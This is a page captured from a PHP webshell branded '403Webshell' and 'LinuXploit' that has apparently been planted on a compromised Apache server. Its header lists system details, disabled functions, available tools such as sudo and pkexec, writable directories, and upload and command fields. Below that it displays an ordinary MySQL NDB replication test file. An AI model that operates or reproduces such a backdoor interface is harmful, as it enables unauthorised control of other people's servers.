403Webshell
Server IP : 172.67.216.182  /  Your IP : 172.70.92.242
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/mysql/src/mysql-test/suite/ndb_rpl/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/mysql/src/mysql-test/suite/ndb_rpl/t/ndb_rpl_2multi_basic.inc
#######################################
# Author: Rafal Somla                 #
# Date: 2006-08-20                    #
# Purpose: Test replication of basic  #
# table operations in various setups  #   
#                                     #
# Based on rpl_ndb_2multi_eng.test by #
# JBM                                 #
#######################################

--echo --- Doing pre test cleanup --- 

connection master;
--disable_warnings
DROP TABLE IF EXISTS t1;
--enable_query_log

#################################################
--echo --- Create Table Section ---

CREATE TABLE t1 (id MEDIUMINT NOT NULL, 
                 b1 INT, 
                 vc VARCHAR(255), 
                 bc CHAR(255), 
                 d DECIMAL(10,4) DEFAULT 0, 
                 f FLOAT DEFAULT 0, 
                 total BIGINT UNSIGNED, 
                 y YEAR, 
                 t DATE, 
                 PRIMARY KEY(id));

--echo --- Show table on master ---

SHOW CREATE TABLE t1;

--echo --- Show table on slave ---

sync_slave_with_master;
SHOW CREATE TABLE t1;

--source suite/ndb_rpl/t/ndb_rpl_multi_engine2.inc

#################################################
# Okay lets see how it holds up to table changes
--echo --- Check that simple Alter statements are replicated correctly --

ALTER TABLE t1 DROP PRIMARY KEY;
# note: table with no PK can't contain blobs if it is to be replicated.
ALTER TABLE t1 MODIFY vc char(32);  

--echo --- Show the new improved table on the master ---

SHOW CREATE TABLE t1;

--echo --- Make sure that our tables on slave are still same engine ---
--echo --- and that the alter statements replicated correctly ---

sync_slave_with_master;
SHOW CREATE TABLE t1;

# Turn off strict mode since the sourced include file
# intentionally INSERT rows which exceed the length of column 'vc'
connection master;
--source suite/ndb/include/turn_off_strict_sql_mode.inc

--source suite/ndb_rpl/t/ndb_rpl_multi_engine2.inc

connection master;
--source suite/ndb/include/restore_sql_mode_after_turn_off_strict.inc

#################################################
--echo --- Check that replication works when slave has more columns than master
connection master;
ALTER TABLE t1 ADD PRIMARY KEY(id,total);
ALTER TABLE t1 MODIFY vc TEXT;

INSERT INTO t1 VALUES(3,1,'Testing MySQL databases is a cool ',
                      'Must make it bug free for the customer',
                       654321.4321,15.21,0,1965,"1905-11-14");
INSERT INTO t1 VALUES(20,1,'Testing MySQL databases is a cool ',
                      'Must make it bug free for the customer',
                       654321.4321,15.21,0,1965,"1965-11-14");
INSERT INTO t1 VALUES(50,1,'Testing MySQL databases is a cool ',
                      'Must make it bug free for the customer',
                       654321.4321,15.21,0,1965,"1985-11-14");

--echo --- Add columns on slave ---
--sync_slave_with_master
ALTER TABLE t1 ADD (u int, v char(16) default 'default');
UPDATE t1 SET u=7 WHERE id < 50;
UPDATE t1 SET v='explicit' WHERE id >10;

--echo --- Show changed table on slave ---

SHOW CREATE TABLE t1;
SELECT * 
FROM t1
ORDER BY id;

--source suite/ndb_rpl/t/ndb_rpl_multi_engine2.inc
TRUNCATE TABLE t1;

#################################################
--echo --- Check that replication works when master has more columns than slave
connection master;

--echo --- Remove columns on slave ---
--sync_slave_with_master
ALTER TABLE t1 DROP COLUMN v;
ALTER TABLE t1 DROP COLUMN u;
ALTER TABLE t1 DROP COLUMN t;
ALTER TABLE t1 DROP COLUMN y;

--echo --- Show changed table on slave ---

SHOW CREATE TABLE t1;

--source suite/ndb_rpl/t/ndb_rpl_multi_engine2.inc
TRUNCATE TABLE t1;

#################################################
--echo --- Do Cleanup --
connection master;
DROP TABLE IF EXISTS t1;

sync_slave_with_master;
connection master;

Youez - 2016 - github.com/yon3zu
LinuXploit